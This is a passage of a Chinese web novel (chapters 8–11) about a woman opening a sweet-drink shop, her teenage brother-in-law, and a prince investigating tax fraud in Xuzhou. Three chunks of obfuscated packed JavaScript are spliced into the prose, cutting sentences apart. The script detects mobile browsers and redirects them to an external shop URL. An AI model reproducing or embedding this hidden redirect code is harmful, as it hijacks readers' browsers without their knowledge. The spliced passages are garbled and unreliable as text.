直接承认吧。承认他对这具身体，存着不加掩饰的觊觎。这再正常不过了，桔珏余光瞥到柜门反射的人影。 连哭泣时亦不涕泗横流。 鬓边散落的青丝贴在苍白面颊，眼角如同染了胭脂。眉如远山含黛，唇似樱瓣微颤，哪怕罗裙歪斜，神色惶然，通身清艳逼人的气韵，未曾折损半分。 “道歉。” 嗯？桔珏一下子没有听清。 “本王折返是为了跟你道歉。” 年轻王爷显然不熟悉这样的行为，面上涨得通红，浑身都透着一股不自在。 他自小便习惯了谨言慎行，从不轻易将心意剖白于人前。此时说出心中所想，即便只是致歉两个字，都显得艰难而生涩。 仿佛耗尽了所有力气。 空气骤然安静下来。 他刻意折返过来……竟是为了道歉吗？ 看着他紧绷的侧脸和泛红的耳廓，桔珏满腔的抵触，撞上不甚熟练的真诚，竟有些无处着力的怔忪感。 桔珏神色错愕，直直盯着刘怀瑾。 面前的年轻王爷站姿颇为僵硬，耳尖更是热的发烫。末了实在受不住这份窘迫，只得别扭地撇过头，避开了对面的目光。 竟像是被欺负了一般。 风过石街，只余下叶声簌簌。 茶肆内，那纸被未署名的租约，静静躺在柜台上。 不知是怎么回事，在死一样的寂静中。 桔珏听到了自己的心跳。 8. 第 8 章 桔珏侧过头，攥紧手中的帕子，心跳的厉害。 他这番颇有些狼狈的解释，远比适才的肢体接触，都更为亲密。 莫名的慌乱感涌上心头，桔珏忙后退半步，试图拉开两人之间的距离。 但空气中的黏腻感，没有稀薄半分。 淮王向县令发难时，语气略微严苛些，便能让一众官员当街下跪，伏地噤声。他又何需跟自己解释这些？ 方才一看到王爷，桔珏的脑中出现了无数种可能，她用最为极端的恶意，揣测着刘怀瑾的意图。若不是看他出手不凡，甚至都有动手的可能…… 想到此处，桔珏心头掠过一丝悔意。 自己对他，是否敌意太过了？ 一时间，桔珏竟不知道该说些什么。好在刘怀瑾已经收敛起适才的青涩，清咳一声，抬手整了整衣襟。 又是一副威仪自生的年轻王爷。 不知是否是太过紧张的缘故，这次淮王再靠近时，桔珏再未向后躲避半步。 然后听见王爷说道。 “其实不止如此。此番本王来徐州是为了调查税务一事。你此前救过本王，应知此事凶险。如今暂借你这茶肆一用，便能事半功倍。你无需深究其中关节，只配合本王即可。” “只是入股之事，你万不可向他人提起。” 他的声音低沉悦耳，远没有了先前的慌张。谈及公事时，眼底只剩下一派肃然。 石街上人影渐稀，连风声都停了下来。 偏那人还在继续。 “若是县令为难你，随时来找本王。” “…嗯。” 见她应下，刘怀瑾并未多言。 他扔下手中的茶叶，修长的手指微微蜷起，用指腹顺势弹去，方才捻过的茶碎连同盐屑便轻落在案上。 随即转身离去。 日光下，锦袍上的暗纹流转，腰间玉带环佩轻叩，发出短促的轻响。只见淮王身姿挺拔，步履从容，每一步都透着与生俱来的矜贵。 那背影看上去竟有些轻松。 自然了。 公事既了，自然是一身轻。桔珏看着他渐渐走远，稍稍放松，正要开口喊赖娘子出来。 转身就看到赖娘子探出半个脑袋，见王爷果然走了，上前赔笑道，“就说呢，我见这么半天没有声响，却又不敢出来打扰。” 说罢，将房契往桔珏手中一推。 “娘子快收着吧。” 真真是遭老罪了，看花了眼，赖娘子心中叫苦。见桔珏没有接下，神色惶恐道，“这些茶器碗盏，娘子若是能用得上，便随意用吧。” “只是青色的玉盏，确实是找不到了。” 桔珏接过房契看了看，确认无误后疑惑道，“这便给我了？方才王爷没有给钱呢？” “好姑娘。这些人，怕是几两银子都认不全，出门自不必带钱的。姑娘只管放心收下，只怕一会那王府的人，就会把银票拿来的。” “原来如此。” 那赖娘子虽不敢问两人的关系，只看这位娘子又出落得如此标志，跟王爷站在一起恍若一对壁人，心内便明了。 想起桔珏说要开糖水铺子，有意卖个好，凑上前道，“姑娘，镇南边有个南码头，采买置办是再好不过的了。我这店里的茶叶、碗盏、桂皮香叶，甚至是每日的瓜菜都是在那儿买的！” “就是鲜货得赶早，去了晚了可就被人挑走了。姑娘若是找南码头的倪二，报我赖清莲的名字，保准不吃亏。” 桔珏收好房契，应了下来。 只是采买倒并不着急，还得等试过样品、确认品类之后再置办才妥当。现在当务之急，是要将茶肆该成糖水铺子的模样。 两者看上去都是待客的铺面，实则内里门道大不相同。茶肆多是供客人谈事，故而设置了雅间，用屏风隔开，就像酒楼那般。前厅开阔处，则是留给买茶叶的客人。 而糖水铺子则不同了，更像是市井饭馆儿，桔珏心中有了打算。若是把侧墙打通，拓出一间宽敞的大厅，便能供客人堂食歇脚。 这样想着，便往客栈走去。 申时未过，人们吃了中饭，又过了正午的困劲儿，此刻正是庙会热闹的时候。 出了长街，便能看到各种糖人儿的小摊，摊上卖的糖葫芦也只有传统的山楂口味。 桔珏最不喜欢吃糖葫芦了，外壳粘牙不说，糖衣下的山楂更是酸涩。小时候尝过一口就再也不吃了，直到喝过山楂口味的西米，才对山楂有所改观。 现在想来，定是摊贩手艺不精，糖和水的比例不对，所用山楂的品类也不讲究，酸涩异常。 桔珏买下一串，试着咬下一口。 糖衣薄脆，轻咬一口便在齿尖碎开，蜜甜先入为主，而后山楂果肉酸甘生津，与糖衣中和得恰到好处，引得唾液不自觉地涌上来。 徐洲人对甜食确实颇为挑剔。 若是儿时那家糖葫芦店开在这里，怕是难入当地人的眼，终究撑不长久。 * 逸间客栈。 桔珏心中装事，回到客栈后推门而入，自顾坐在椅子上，连榻上的小叔子都没看见。 “你去哪儿了？” 徐执节忽然开口，冷不丁吓了桔珏一跳。 桔珏捂着自己的心口，转身看去，竟看见小叔正侧卧在自己的床榻上。 他生得好看，面如白玉，眼眸清亮有神，自带几分少年人的一股俊朗，与原主记忆中的大哥倒是并不相同。 徐家大郎虽上京赶考，自称是读书人，却没有半分书生模样，浑身硬邦邦的。那肌肉块头并不大，却蕴藏了十分的力气。这其实是徐家早年光景不好，整日劳作留下的痕迹。 而徐家二弟，则更有又书生气些。 但是也不能这般随意地躺在自己榻上。桔珏秀眉微蹙，开口叫他坐过来，语气带着几分不悦。 “过来说话，榻上不是待客之地。” 徐执节似乎不大愿意，兴致恹恹，磨磨蹭蹭了半天，才坐到桔珏对面。 他今日一赴宴便被人辱骂一通，赶了出来，少年心气本就不大顺畅，回到客栈后又被小厮拦下，非说只有林姑娘才能进来。 徐执节大发雷霆，好容易进店后又发觉桔珏不在，心里颇有些怨念，便负气躺在了床榻上，顿时被一股清雅的气味包围。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418437|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不料刚坐定，鼻尖又嗅闻到了一缕熟悉的气味。 抬眼便看到桔珏支着手腕，似在思忖着什么，模样沉静又疏离。 嫂子奔走了半日，鬓角颈侧沁出一层薄汗，几缕碎发濡湿，黏在面颊，衬得肌肤莹白如玉。唇瓣依旧饱满润泽，泛着一层透亮的水光。不知是不是汗水氤氲出的天然艳色，无端令人倾倒。 徐执节忙低下头，不敢再看。 低头便发觉桌上有一方帕子，带着清幽的香气，正是床榻上的气息。想他适才还贴身躺着，不由面上一红，抬手端起茶盏，喝进一大口凉茶。 “我得了一间铺子。” 桔珏并未察觉不对，直入正题，边说边从怀里掏出房契给他瞧。 不等徐执节有所反应，继续道，“我手头还有些银子，预备在镇上开一家糖水铺，这样一来，我们二人也算是有所依靠。” “你今日便不要回去了。” 话音刚落，徐执节惊得手一时不稳，茶盏顿时倒在桌上。 “嫂，嫂子，这……” 竟是连话都说不顺了。桔珏心道好笑，拿出帕子擦拭桌上的茶水。 小叔毕竟年少，见到房契，一时高兴得忘了形，可她却得警醒着点，缓缓道，“虽说现下手头宽裕，但开店后还有不少花销，还是能省则省。你明日去村上找人，砸通店里的墙，我则做些不同种类的糖水，给你们尝个鲜。” “所以你今日便留在店铺罢，我明一早就去寻你。” 开店总算迈出了第一步，桔珏心里自是十分高兴，可瞧见小叔的脸色，却有些蔫蔫的。 桔珏心中疑惑，而后明白过来。 想来是小叔认为自己藏私，手里有银子他竟然一点都不知，许是认为自己没有把他当成家人罢。 小叔毕竟还小，十六七八的年级，放在现代也才念高中。桔珏拽了一把他的袖子，细心劝道。 “如今你大哥不在，徐家只有你我二人，相互依靠。” 徐执节听得心头一热，点头应是。 “日后便是你娶妻生子，我也算得是你半个嫂子。一家人之间，无须太过计较，买铺子的事情，我并非故意瞒你，只是事以密成，我又不好跟你讲我的烦忧，你可明白？” 徐执节怔在原地，桔珏后面的话，他只依稀听了个囫囵。 娶妻生子…… 桔珏口中的事离他并不遥远，往日也有人偶然提起，他并不当一回事。现在不防从桔珏口中说出，心中竟无端有些抗拒。 桔珏有一天也会嫁人的。 说什么相互依靠，一个嫁人一个娶妻，日后怎么还会有所来往？况且桔珏容貌出众，指不定嫁到哪里去。到时候，还不是只剩他一人？ 想到此处，心里不免有些悲凉。 他本家亲戚凋零，父母长辈早已亡故，就连兄长也不在了。桔珏想要嫁人自无任何阻力，只是…… 只是桔珏从小就在他们徐家生活。对外说是买下的女儿，实则就是徐家的童养媳。 而现在兄长在上京路上，命丧黄泉…… ——徐执节猛然站起来。 他被自己的想法吓了一大跳。 9. 第 9 章 不知道是怎么回事，徐执节忽然站起，猛然向外冲去。 这孩子是发了什么疯？ 桔珏眨眨眼睛，恍然明白过来。定是徐执节去赴宴时，被人下了脸面，否则酒楼那会，就该看到他了。亏他忍到这会儿才发作。 桔珏操心着明日的糖水样式，并未将其放在心上。 还是让他自己消化罢。 * 次日清晨，桔珏一大早就来到铺面，看到徐执节果然领着村里人聚在门口。这些人多为他平日里的玩伴，年纪相差不了多少，看上去并不稳重。 桔珏忙拉过徐执节，“你找的这些人能行吗？” 谁知小叔竟一把扯回，只是桔珏气力大，竟没挣脱开，半边白皙的胸膛顿时暴露在空气中，引得众人一阵哄笑。 桔珏忙松开手。 趁着徐执节整理衣裳的缘故，桔珏转身去开门，心里却泛起了嘀咕。 今日这是怎么了？两人虽不亲近，可多日的相处下，彼此还是颇为了解，言语间拉扯也是常事，想是他不愿在众人面前跟自己亲近？ 还好自己手劲大。 进店后，桔珏指着拆卸的墙细细说明，满场唯有徐执节点头应下，来的那六个少年并不回话，只四处打量。 这间茶肆空间不大，但开的地方极好。只是糖食糕点倒是常吃，茶饮也寻常，两者加起来算是什么？凭借卖白糖水就能挣钱的话，岂非是白日做梦？ 来的人多多少少都抱有看笑话的心思。只因桔珏在村里名声极差，走狗屎运救了个贵人，想必得了不少好处，只是把钱全投在这里，日后有的她亏！ “我去买些菜品，你们晌午想要吃什么？顺道一齐买了。” 桔珏交代后准备出门。 “都行都行。” 他们素日跟徐执节交好，听过这位嫂子的骂名，心中对其颇有些看不上。只是桔珏此时温言细语，眉眼灵动，少年人却都呆声应是。 小叔见此，粗声催促道，“你快走吧！本来就迟了，这会子去，菜早就蔫巴了。” …… 桔珏深深看了他一眼。 这语气，颇有些发号施令的意味了，虽知徐执节年少，不想在同龄人之间落了下风，桔珏心内依旧不爽。 散打讲究平日的功夫，积少成多，到了一定程度就能一举突破，就像是地里的韭菜一夜间就长出来了。小叔这小小年纪，难道就要成长为大登了？ “林姐姐，我跟你一齐罢，路上帮你提一提东西。” 一个颇为精干的少年忽然出声。 “不妥。”徐执节连忙拒绝，说着还上前推开那人，“还是我去提东西罢。” 这一个个干劲十足的样子，桔珏看得不由笑了，把适才的不快忘在脑后。 “罢了，徐执节在店里帮我看顾着些，你便同我去罢。” 巧笑倩兮的模样，一时晃了众人的眼。 等桔珏离店，一个个才回过神来。 * 市集，人影攒动。 “林姐姐，你买这些做什么？”那少年抱着怀里的青梅、姜片、大量牛乳，疑惑不解。 这人半点不像做生意的样子，随意站在摊位前，看了便买，根本不挑，这会又看上了紫苏和散装普洱。亏得她生得好看，卖家并没有漫天要价，只是这东西半分不搭边，买来作什么？ “你到时便知道了。”桔珏说罢就要付钱。 见她一意孤行，少年便不好再劝。 临了，桔珏又买下了一整只羊腿，少年看的目瞪口呆。这林姐姐出手也忒大方了，这羊腿他抱着都费劲，再照这样下去，只怕有座金山也得给败光了。 他忍不住劝道，“林姐姐，这镇上的茶肆可不好开，你铺子位置虽好，但对面就是酒楼。你可知本地的酒楼，也卖茶水饮品，算是你的同行？” “你还是攒些银子傍身为是。” 话里话外，竟是唱衰桔珏的买卖。 可看到他面色诚恳，话虽难听确是发自好心，桔珏便也不与他计较，只道，“你到时便知道了。” 两人回到店铺，见墙壁果然倒下大半。 真真是少年人，手脚麻利。 “等着开饭吧。” 众人看到油光锃亮的羊腿早乐了，本有些抱怨的话早抛到一旁，一个个上了力气。 有个少年怼了怼徐执节的胳膊，满脸羡慕道，“你小子，伙食竟这样好？” 徐执节只道，“等你们吃了就知道了。” 等到开饭，才终于明白徐老二的话是什么意思。 这肉只有肉香，竟没有什么香料增味，只有盐和胡椒用来沾着吃。桔珏偏爱软烂的棒骨，将大块的瘦肉分给众人。吃起来干巴巴的，肉丝塞嵌在牙肉里，一众少年人偏又顾忌体面，不好当众剔牙。 转念想到这是过年才能吃上的荤腥，却也不挑。 只是暗中嘀咕，就这手艺，还开什么店？真真是浪费这锅好肉了。 众人心里这么想，嘴上吃起来倒也不含糊，只一个黑衣少年尝了一口后，便再也不动筷子。 桔珏只当一众人争着狼吞虎咽的，他没抢到罢，便夹了一块与他。 这黑衣少年名叫王保，家里头光景好，连穿的都比人讲究些，故而对肉并不稀奇。看到风卷残云的众人，心头颇为鄙夷，他可不会被小恩小惠收买！ 看到碗里的肉，想到桔珏的名声，王保心里厌恶至极。他家二房得宠，亲娘没少受累，这桔珏妖精似的，日后必是个祸害。 一碗肉搁到凉透，终究没动筷子。 桔珏正觉奇怪，便看到小叔沉着脸瞪了那人一眼，伸手将碗中的肉夹走，末了还撂下一句话。 “不吃就滚去干活！” 桔珏终于忍不住了，想到小叔早上的作为，此时又这般失礼，抬脚就往他小腿上踹去。 这一脚并未收力气。徐执节捂腿喊疼，却挑衅般地咀嚼口里的肉块，样子颇有些无赖。 好端端的正经读书人，怎么成了这番模样？ 桔珏一时拿他毫无办法，冷下脸来，转身兀自去灶上准备糖水。 身后的徐执节却停了下来，目光落在她挺直的背影上，好半晌才缓缓咽下肉块。 肉质干柴一如往昔。 * 年轻人手脚麻利，申时未过，活就干的差不多了，只需将土块瓦砾搬走便可。 不知徐执节用了什么手段，竟向瓜农借来一架车，来回运送。 桔珏在灶前忙着处理牛乳。 将牛乳反复煮沸撇出油脂，再用木勺反复搅拌，搅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418438|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打入空气，油脂便变得蓬松起来，再加入蜂蜜和粗盐，便得到了接近于咸奶油的口感。 桔珏尝了一口，颇为满意，却不想听得门外传来一阵吵闹声，忙将沸腾的普洱茶汤端出来，向外走去。 大厅内，一群人不知怎么竟吵起来了。 桔珏认得来人，正是对面酒楼的跑堂伙计，言语粗俗不堪，骂的难听，少年人多是读过书的，骂不过竟想动起手来。 顿时乱作一团。 一片嘈杂中，却还有一方净土。 只见那王保竟在一旁自顾吃东西，仔细一看，竟是对面酒楼的吃食！见两拨人动起手来，这才起身，却不忘再塞上一口。 桔珏看的脑壳疼，上前将两拨人分开。 “什么意思？这是你的伙计罢！今日不给我个说法，我就去报官！”伙计看到桔珏认了出来，只是白挨了打，便要上前理论。 众人皆怒，骂声响成一片。 “住嘴。”桔珏转头道，“我记得你。今日被弄成这样，定是我们的不是。” “打人定是不对的，报官也行，去医馆也行。身体最重要，半刻耽误不得。”伙计听罢，态度软了下来，这一拳并无大碍，只是打在面门上，现在还火辣辣的！ “只是你若无大碍，不如我买些果饮补品，算是赔个不是。” 桔珏拿出钱来，伙计接过仍是不饶，狠狠啐了一口道，“你开在这边，也开不了多久。” “那便日后看罢！”桔珏冷声。 将人送走后，桔珏将众人唤到后厨，“没吃亏便成，好了，今日糖水便让你们尝个鲜。” 王保跟在众人身后，面色发红。 这大半日他早就饿了。 对面就是酒楼，去那里买饭当然方便了，只是没想到后来竟会打起来，真真是无妄之灾。 一众人等垂头丧气，心里却都明白，这个店怕是开不长久。对面酒楼生意红火，跟人吵架也不免矮上三分。 “这是什么味道？” 空气中弥漫一股甜丝丝的气味，有人嗅到反应过来，提醒道。 这气味前所未闻，像是牛乳，却带着厚重油脂的芬芳。 众人忙凑上前，只见桔珏拿出几个茶盏，倒入普洱后又增添了紫苏膏水，混合又加入生牛乳，液体呈现出奶黄的质感，末了在顶上加入了奶白色的泡沫，便大功告成。 众人啧啧称奇，忙尝了一口。 浓郁的奶油香气率先化开，绵密而湿润，醇厚感刚缠上舌尖，紫苏的清冽感便顺着乳脂的肌理渗透出来，混合着普洱的底蕴，入口香气清醇而绵长。 有了这番手艺，还愁什么？ 王保细细品着，这饮品前所未有，既能尝到紫苏的草本香气，普洱的沉香搭配咸甜口感，解腻的同时又十分独特。想到适才还买对家的饭，面上一红。 这一愣神，却看到众人饿狼似得，一碗接一碗，半天就不见了大半。 王保只好红着脸再要。 桔珏并不记仇，见众人的反应心下安稳，抬手打满了一勺，便光了。 王保端起茶盏正要入口，却见众人抢过，“你不是不吃么？我便代劳了。” 说罢，竟囫囵喝完了。 王保只得暗道，等开店后我日日来喝，想喝几碗就喝几碗！ 10. 第 10 章 “今日有人找来吗？” 王府门口，刘怀瑾翻身上马，正要动身却想起了什么，抓着门房问道。 门房摇摇头。 这都好几日了，到底是谁要来找王爷？ “有人来找，立刻回禀！”刘怀瑾面色沉下来，“若是发现你们知情不报……” 大清早的不知是触了哪个霉头，不得安生。 门房颤巍巍跪下来，连连应是。 等再抬起头来，淮王早已一骑绝尘，只留下扬起的灰。 门房只好自认倒霉，不知是怎么了，王爷近来日日都要问一遍。 偏生他当差，真真是活受罪啊。 * 刘怀瑾牵着马走在街上。 不出他所料。 现下，别说是官府了，就连本地的茶馆伙计，对糖盐的供应之事都缄口不言。 这次来徐洲调查当地税务，本想拿着私糖盐窝点的罪证，直接向当地官府发难，却不料落水遇难。 打乱了他全部计划。 好在他有心理准备，兹事体大，并不急于一时。但他的心情依然烦躁，某些事情隐隐超出了他的掌控。 刘怀瑾摸了摸手上的扳指，向东街走去。 政事千头万绪，好歹能够有所作为，可若是猜测一个女子的心思，却像溺水一般，不知从何抓起。 等回过神来，眼耳口鼻早已灌进水流，神思迷惘…… 为何不来找他？ 明明开店前有如此多的繁琐杂事，一定还有不少需要用到银子的地方，桔珏却从未找过自己。 她这是在拿乔？ 前朝夺嫡何等惨烈，刘怀瑾能在其中身退，明哲保身，自然不是蠢钝之人。自己是最好不过的选择，桔珏却从未找过自己。 淮王眯起眼睛，心中笃定，这女子并非不屑名利，否则怎会被县令举荐？前期救人之后，为何又不报官？ 此番作态，无非是自持身价，扭捏作态罢了！ 想到自己日前，竟被这等心思深沉之人逼得吐露心声，即便只是道歉二字，却比锱铢黄金都更有价值。 年轻王爷心中负气，手中的缰绳不自觉拽紧，引得马儿一阵嘶鸣。 ——“王爷？” 桔珏掀开帷帽，惊喜地喊出声来。 刘怀瑾身体一顿，略松开马儿的缰绳，将其交给一旁的侍卫。 “你怎么在这里？”他身体挺直，一手负于身后，配上一身劲挺的常装，真真是陌上公子人如玉。 石街上人多，桔珏好容易凑上前来，头上的帷帽却不知勾在什么上，只觉头皮一痛，抬手便往回扯。 脆弱的薄纱就这样碎成两半。 桔珏不甚在意，眼角眉梢，都染上了笑意。 看起来十分惊喜似的。 罢了，刘怀瑾抬手帮她将帷帽调转，调整后，重新遮挡了面部。 “王爷！快走，我们回铺子去！”桔珏说罢，急着拽住他的袖口，不忘补上一句，“那件事有眉目了。” 薄纱下人影绰约，似是而非更显得温婉动人，今日她口唇上似乎涂了口脂，鲜妍明媚。 而后薄纱便毫不客气地粘黏在唇上，刘怀瑾看的分明。桔珏却没有停留，唇舌将其一卷，留下一抹湿痕。 他没再听清后面的话了。 桔珏边走边回头，不停地小声说自己日下的发现。 如今糖盐管制确实十分严苛，好在她开店的身份在明，又按照赖娘子的方法，去南码头找倪二，这一来二去，便发现了端倪。 新店开张，需求量大，有不少人曾暗中打听，其中便有一人，口气颇大，不论桔珏说要多少，都能接得上似得，语气中，似乎还看不上这小买卖。 想来定是个蛇头了！ 桔珏按下不表，本想等开业后，稳定了再找王爷说，却没想到今日便碰见了。 只是她絮絮说了这半晌，身后的人却一言不发。桔珏心中纳罕，转身后，却见这位王爷面上通红，呆愣地跟着她，不知心中在想些什么。 桔珏连忙松开手。 这古代讲究男女大防，做什么都要收敛三分，从前在村里，可以随意洒脱不讲究，在镇上却不成。 真真是麻烦极了，桔珏咬了咬下唇。 正想着，不防被人群挤了一下，再抬眼看时，淮王已经伸出手，将她环在身前，面色不虞。 年轻王爷周身气场冷峻，与病榻上的模样全然不同。 他上唇线条锋利，下唇却生得十分饱满，绷着嘴角时，才显出几分不怒自威来。桔珏感受到身后人紧绷的肌肉，不觉间红了耳朵。 想来也是如此。 淮王孤身一人，来到徐州，调查断人财路的收税之事，若是没半点本事，也不会受此重任了。 见他忽然站在原地，神情严肃，桔珏便顺着视线望去。 竟是一家小庙。 庙宇的匾气场颇大，用的还是烫金的字样，游龙走凤，看上去有些狂放之态。 桔珏看了半天，也没有认出是什么字。 石街上，行人挤得水泄不通，连一个人影都过不去。 “真是怪了，这不逢节日的，怎得全都聚在这小庙处？” 桔珏嘟囔着，转头提议绕行。 “小庙？” 刘怀瑾没有接话，反问道，“你是本地人，怎么会不知其中的来历？” 桔珏听罢，心跳如鼓，好在淮王没有再继续深究。 “这座庙本是为前朝的圣人修建，这位圣人出身于此地，编撰史书，修建学堂，修订的许多政策沿用至今。” 桔珏不明觉厉，可周围人声嘈杂，庙中似乎还有隐隐哭声。 “好端端地拜一拜圣人，怎得又哭起来？” 桔珏不解。 “自新皇登基后，有所管制，许多民间的破庙都被拆除荒废，偏徐洲作为圣人故土，加上徐洲地处偏远，故而保留至今。” “他们这不是在拜圣人。” 刘怀瑾抬头，眼前匾显然是新修不久，盖有名家印章。 他却看得分明。 这字既无起笔收笔的顿挫，又无中峰行笔的质感，线条绵软呆板，只是胜在布局，且刻意拉长笔画，撇甩的极开，看起来倒是气势十足，有些狂放之态。 实则只能唬住不懂行的人罢了。 两人进庙，哭声更甚。 “……圣人啊，快回来看看罢，看这如今的世道啊，看看你的后人罢。” “看看这里的百姓罢。” “本朝自建国起，向来是便民利民，百姓休养生息，这才有了如今的盛世啊，圣人啊，你睁开眼看看如今罢。” “圣上仁慈，却偏生被奸臣蛊惑，对此地的百姓竟然征收如此严重的税啊，圣人你快开眼罢。” …… “他们是在哭庙。” 哭庙？ 桔珏微微愣神。她虽不知是何缘故，却也听得分明。庙中人所言，皆为政事，又涉及民生赋税，虽见刘怀瑾面色有异，却也不好出声。 如今开店行商，桔珏也需缴税，却不觉得税法严苛。 呼声似与实情不符，可一番慷慨激昂，再加上为民请命，周围的百姓，见之无不掩面哀泣，有壮年者，眼中甚至隐隐有不平之色。 这些人动作可真快。 刘怀瑾双手攥紧，正要上前理论一番，刚要动作，就被桔珏出手拦了下来。 她的力气大的惊人。 腕上如被铁板死死按住，传来一阵刺痛，显然不是女子该有的力气，刘怀瑾低下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418439|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，正要反擒她右手。 却从帷帽的间隙，看到她双目盈盈，秀眉微蹙。 眼神里有十足的关切。 鬼使神差地，刘怀瑾停下动作，任由她死死强拽着自己，离开小庙，移步石街旁的暗巷中。 真是要死！ 桔珏见他好容易跟着自己出来，终于松了一口气。 两人赤手空拳，又没有护卫在身旁，庙中民意如沸，若是动起手来，可是要吃亏。 “还是来日方长罢。”桔珏斟酌解释道。 谁知刘怀瑾听罢却面露诧异，“怕什么，有理走遍天下，他们如此妄议，有识之士自然可以当面反驳。也好让百姓看看，这些人的丑态！” 他语中带刺，显然是被气的不轻。 “本朝自开国起，税收从未严苛过，此番鬼言巧辩，意在煽动民意罢了。” “你既清楚，便知道其中的厉害，怎能逞一时之气？” 桔珏忍不住出言反驳。就算淮王要拿人开刀，也得带上精兵护卫，届时，她自会离得远远的。 他难道还以为在天子脚下？ 看来之前的落水，真是没长半分教训。 “你说钱都去哪里了？” 淮王转移话题，心叹这小小女子，果然胆小谨慎。他身为亲王，自是无人敢动，更别说周围还有暗卫跟着，只是桔珏不知罢了。 此刻见她怕了，只好做罢。 “……什么钱？” 桔珏不知如何接话，只道，“若是税收的银子，自然是都到了皇上那儿去了。” 刘淮瑾轻嗤一声，与桔珏并行道，“不知是从什么时候开始，皇帝征收的税便越来越少，一次不如一次，先帝在时，征收的盐糖税，竟不如圣祖的四分之一。” “新皇上位，自要严惩变法，却从未增加过税。” “若真要掰开细看，百姓被多征了税，而皇帝那边却没有收到，这钱又都去哪儿了？” 桔珏听的一头雾水，见他看向自己，只好如实道。 “其实，徐洲的百姓税不重，农业税交完也能够过活。” 刘淮瑾轻笑一声，待桔珏疑惑望过来，正色道。 “他们这话既说出口了，想再收回可不成了。” 两人对视一眼。 年轻王爷眉眼似有狡黠，唇未勾起，眼角却带有笑意。 桔珏心头略一琢磨，便品出味来。 淮王来徐洲调查税务，以私糖盐为突破口，却并不局限于此。毕竟皇帝缺银子，能搞出钱来是正经，谁又在意名头是什么？ 这些人说本地重税，朝廷却从未见过这笔钱，刘怀瑾自然知道该向谁要。 他倒是懂得变通。 两人很快来到东市，原来的茶肆近在眼前。 如今，刘怀瑾自是去忙别的事，她也不必说南码头的事了。 桔珏深吸一口气，却并未觉得轻松。 耳边却响起一声轻笑。 ——“怎么还不邀本王进去？” 明明是问话，语气却很是笃定。说罢，年轻王爷附身，用折扇轻点桔珏的肩头。 美人面如凝脂，薄纱下倩影绰约，随动作飘动，像是月下仙子。 …… 淮王身份高贵，每每与之相处，像是触摸水中的月亮，缥缈而不真实。今日不经意间，那狡黠的眉眼，却是她第二次触摸到立体的一面。 比之眼前这轻浮举止，却要好上万分。 桔珏向侧面看去，强忍翻白眼的冲动，正要想着如何拒绝，便看到徐执节拂袖上前。 继而将她护在身后。 书生模样的少年，眼底一片冷漠，对着刘怀瑾厉声质问道。 “你是谁？” “缠着我嫂子想做什么！？” 11. 第 11 章 ——“你总缠着我嫂子做什么？” 桔珏听的头皮发麻。 她深吸一口气，抬手扯了扯小叔的衣袖。 “你怎么说话的？” 桔珏站在他身后，原本还有些出乎意料。 面前的少年背影清瘦，却毫不犹豫冲上来，将桔珏护在身后。透过薄纱，还能看到他紧绷的嘴角。 不知从何时起，他已不再是那个哭着找不见她的少年了。 正当桔珏为这番举动而暖心时，却冷不丁从他嘴里听到这么一句。 ……这死孩子！ 桔珏又羞又恼，伸手扯他衣袖，还不忘收着几分力气。一想到此处，心内更是气恼。 她如此贴心，可徐执节却不曾为她着想半分。 这会不是饭点，且大多人都去了那圣人庙宇，故而长街上行人不多。 否则，就凭着句话，便会引得议论。 那时围将上来，只怕凭这损毁的薄纱，定不能遮住面容。 这样想着，手上劲没收住，拽得徐执节一个踉跄。 “嫂子。” 重心不稳之下，徐执节本能扶住桔珏的胳膊，举止亲昵，语气还带着几分嗔怨。 说罢，还不忘回头瞪着面前这陌生男子。 …… 他以为自己是黄发小儿么？ 刘淮瑾轻哼一声，捏了捏手中的扳指。 少年人这番举止作态，无端令他想到与生母争宠的惠妃，在面对先帝时，也是如此故作姿态、扭捏造作。 淮王面上闪过一丝厌恶。 “还不见过淮王？” 见刘淮瑾生气了，桔珏忙上前介绍道，“王爷，这是徐执节，我家小叔。不知您是否记得，此前落水一事，他在其中也出了不少力。” 她倒还不忘说些好话。 只是说到最后，却用上了敬语，像是故意在避嫌似的。 刘淮瑾从鼻息喷出一声，算是回应。 这人竟是淮王？徐执节面上好不精彩。 怪不得有些面熟……可桔珏是何时跟他认识的？怎得自己半点也不知情？徐执节心中涌起万千疑问，却只得低头行礼。 为适才的冒犯赔罪。 见淮王果然没有追究，桔珏松了一口气。 两人不复之前的剑拔弩张。桔珏正要开口道别，却想到淮王要向官场发难，转而祝福道。 “祝您一切顺利。” 年轻王爷并不接话，只端立在那里，笑意不达眼底，丝毫没有要离开的意思。 两相对视下，桔珏忽然没甚来由，侧头看了一眼小叔。 